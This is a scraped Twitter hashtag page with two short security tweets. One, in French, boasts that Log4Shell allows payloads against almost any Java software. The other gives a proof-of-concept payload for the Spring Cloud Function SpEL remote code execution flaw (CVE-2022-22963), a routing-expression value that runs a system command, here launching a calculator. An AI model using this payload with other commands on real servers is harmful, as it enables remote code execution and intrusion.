#banjava - Twitter Hashtag

over 4 years ago

🚨Pour ceux qui avaient toujours pas compris ; Il est donc possible grâce a #log4hell de construire des payload contre presque toutes les solutions écritent en java ; Exemple avec SpringShell: Spring Core RCE 0-day Vulnerability 🙃😇🤡 #banjava #breakingtheshell #lazarus

bytehx

@bytehx343

over 4 years ago

Spring Cloud Function Spel RCE aka CVE-2022-22963 POC. payload https://t.co/4Yb3FFRFoC.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("xcalc")